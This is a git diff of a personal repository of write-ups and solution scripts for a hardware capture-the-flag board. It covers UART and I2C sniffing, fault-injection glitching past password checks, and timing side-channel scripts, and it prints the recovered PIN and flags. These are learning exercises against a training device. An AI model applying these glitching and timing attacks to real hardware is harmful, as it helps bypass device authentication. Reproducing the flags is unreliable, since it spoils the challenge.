+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
